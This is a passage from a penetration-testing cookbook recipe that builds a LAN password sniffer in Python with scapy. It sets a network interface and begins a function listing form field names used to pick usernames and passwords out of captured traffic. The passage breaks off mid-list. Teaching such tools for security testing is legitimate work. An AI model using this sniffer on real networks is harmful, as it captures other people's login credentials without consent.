Python Penetration Testing Cookbook

How to do it...

Here are the steps to write a password sniffer over LAN:

1. Create a pass-sniffer.py file and open it in your editor.
2. Import the required modules:

from scapy.all import *
from urllib import parse  

3. Now declare the variables for the interface:

iface = "en0"
conf.verb=0  

4. Create a method to check the username and password in the sniffed content:

def get_login_pass(body):    
    user = None
    passwd = None    
    userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
    'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
    'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
    'uname', 'ulogin', 'acctname', 'account', ...
